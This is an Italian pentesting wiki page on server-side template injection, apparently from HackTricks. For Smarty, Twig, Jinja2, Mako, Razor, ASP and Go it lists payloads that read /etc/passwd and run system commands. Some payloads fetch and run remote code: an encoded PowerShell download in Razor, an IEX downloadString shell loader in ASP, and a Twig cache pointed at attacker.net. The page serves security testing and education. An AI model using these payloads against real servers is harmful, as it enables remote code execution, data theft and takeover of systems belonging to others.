# SSTI (Server Side Template Injection) {% hint style="success" %} Learn & practice AWS Hacking:

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{% endhint %}

[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina. {% embed url="https://www.rootedcon.com/" %} ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **Ulteriori informazioni** * Nella sezione Smarty di [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Errore` * `{{foobar}} Niente` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - Formato del template** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **Ulteriori informazioni** * Nella sezione Twig e Twig (Sandboxed) di [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) Plates è un motore di templating nativo per PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates sfrutta il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP. Controller: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` Modello di pagina: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` Layout template: ```html <?=$this->e($title)?> section('content')?> ``` **Ulteriori informazioni** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib e HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) è lo stesso di PHPlib ma portato su Pear. `authors.tpl` ```html {PAGE_TITLE}

Authors
Name	Email
{NUM_AUTHORS}
{AUTHOR_NAME}	{AUTHOR_EMAIL}

` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Formato del template** ```python {% raw %} {% extends "layout.html" %} {% block body %}

{{ user.username }}

{% endblock %} {% endraw %} ``` [**RCE non dipendente da**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Maggiori dettagli su come abusare di Jinja**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} Altri payload in [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` **Ulteriori informazioni** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Razor (.Net) * `@(2+2) <= Success` * `@() <= Success` * `@("{{code}}") <= Success` * `@ <=Success` * `@{} <= ERROR!` * `@{ <= ERRROR!` * `@(1+2)` * `@( //C#Code )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Ulteriori informazioni** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-$SSTI$-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = Nothing * `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **Ulteriori informazioni** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) ### Mojolicious (Perl) Anche se è Perl, utilizza tag come ERB in Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Errore` ``` <%= perl code %> <% perl code %> ``` ### SSTI in GO Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici: * `{{ . }}`: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo. * `{{printf "%s" "ssti" }}`: Ci si aspetta che visualizzi la stringa "ssti". * `{{html "ssti"}}`, `{{js "ssti"}}`: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go [qui](https://golang.org/pkg/text/template). **XSS Exploitation** Con il pacchetto `text/template`, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{""}}` risulta in `<script>alert(1)</script>`). Tuttavia, la definizione e l'invocazione del template in Go possono aggirare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **RCE Exploitation** L'exploitation RCE differisce significativamente tra `html/template` e `text/template`. Il modulo `text/template` consente di chiamare direttamente qualsiasi funzione pubblica (utilizzando il valore “call”), cosa non consentita in `html/template`. La documentazione per questi moduli è disponibile [qui per html/template](https://golang.org/pkg/html/template/) e [qui per text/template](https://golang.org/pkg/text/template/). Per RCE tramite SSTI in Go, i metodi degli oggetti possono essere invocati. Ad esempio, se l'oggetto fornito ha un metodo `System` che esegue comandi, può essere sfruttato come `{{ .System "ls" }}`. Accedere al codice sorgente è solitamente necessario per sfruttare questo, come nell'esempio fornito: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **Ulteriori informazioni** * [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Altri Exploit Controlla il resto di [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) per ulteriori exploit. Puoi anche trovare informazioni interessanti sui tag in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF {% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %} ## Aiuto Correlato Se pensi possa essere utile, leggi: * [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md) * [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) ## Strumenti * [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) * [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) * [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) * [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) ## Lista di Rilevamento Brute-Force {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## Pratica & Riferimenti * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)

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